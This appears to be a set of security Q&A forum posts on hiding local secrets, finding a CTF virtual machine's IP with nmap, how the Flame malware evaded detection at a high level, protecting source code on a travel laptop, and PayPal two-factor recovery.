Against an attacker with access to the machine: There is no 100% secure way, because if your program can access the secret the attacker (with at least the same permissions) can do the same. You could only make it harder by saving the file at non-obvious places, hiding it within innocent content (like with steganography), obfuscating the information, encrypting it (although the secret must be accessible by the application and thus will also be accessible by a determined attacker).


How to get IP address of a virtual box machine from hostmachine? I am using Windows 7 host machine and I have loaded a vulnhub ctf into virtualbox. Now i dont have credentials to login to the ctf machine which is a unix machine. Can i get the ipaddress of this CTF Unix machine that i loaded using virtual box. Currently the CTF screen stopped at login prompt.

As Steffen Ullrich said on comments, there is not so much related to security here. Ok, you are trying to do a CTF... but that's all. Anyway before the probably migration of the question I'll try to give you some hints.

First you must determine if your virtual machine is running in NAT mode or in bridged mode. You can check it under configuration-networking options for that machine on Virtualbox.

If is in bridged mode, the virtual machine is going to be on same network as your host machine. Probably it will take an ip from DHCP if you have one configured which is the standard. If bridged is your case, suppose that your home network range is 192.168.0.0/24. Use nmap to scan your network in order to find your vm. A command like this usually is enough (a standard connect scan generating a lot of noise):

nmap -sT 192.168.0.0/24

Remember to change your network range on command if is different.

If your vm is in NAT mode. There will be a different network range between your host machine and your vm. Usually, the default network range for this on Virtualbox is 10.0.2.0/24 (your host usually is 10.0.2.1 and the first vm should be 10.0.2.15 if everything is normal).

Hope it helps.


Which mechanism did Flame use to avoid being identified? I got a question that says "What is the major difference in the USB propagation system used by Flame with regard to Stuxnet to prevent being identified?".

After Googling for a while, I haven't found anything about this.

Flame was Signed with certificate so AV get less suspicious about it.
used many layer of obfuscation.
used non-normal language for developing part of it(Lua used!)
used rootkit technique to cover tracks.


How to protect source code locally when traveling with it I will be traveling abroad for several weeks on a business trip as a consultant.

I will carry a laptop with an IDE and all the necessary source code so I can make changes on site (which is the purpose of this trip). The boss is very worried about the source code being stolen.

I have put forward the idea of filling the USB ports with glue, but my boss thinks I’m being silly and wants real ideas.

I understand any security is only going to slow people down, but ideally I’m looking for a setup where, if anyone got the laptop without my notice (say, while I was sleeping and returned it before I awoke), they could not have accessed the data in such a small amount of time.

I guess some form of encryption would be necessary.

You need to start by using a full disk encryption (FDE) mechanism. Something like BitLocker for Microsoft or FileVault for Mac or any others. edit: do not store your recovery key on the same pc.

That is your base line defense but it is certainly not enough for total protection.

To be perfectly honest, you need to change your behaviours in order to be very secure. For instance:

If possible, do not travel with all of the code.
Consider using a secure VPN to access your sensitive info (that leads to other threat vectors though).
Limit your exposure in threat zones, keep your laptop with you.
Do not hibernate your computer (always turn it off and on). edit: hibernation may be ok (personally I do not trust it -but I have an SSD so what's the real difference). Stand-by or sleep mode is the real issue in regards to cold boot attacks.
As an aside to the cold boot attack vector, you may want to look here for info on how to safegaurd against cold boot attacks.
Be alert in general.
Change your passwords frequently.
Never access public wifi
Disable bluetooth and wifi (if possible and when not using it)
You could also look into a remote wipe software/service (but it's not perfect).
Disable Ad Hoc Connections as this is potentially a huge risk.

update: Others have mentioned the bios. You can enable a password there and disable booting from removable media but the bottom line is that if an attacker has your pc in their hands, your only line of protection might very well be FDE. Here is an article about bios protection.


Does PayPal support a backup code for two-factor auth? Google and DropBox have backup codes in case you can't get access to one of the devices you have registered. Does PayPal have a backup code?

Yes & No. It's not a simple backup code, it's a series of questions to confirm your identity.

https://www.paypal.com/us/cgi-bin/webscr?cmd=_security-key-faq#breakmyToken

**Can I still log in to my PayPal account if I lose or break my key, or if I don’t have my mobile phone with me?**
Yes. During login, we’ll ask you questions to help confirm your identity. When you answer them correctly, you’ll be able to log in.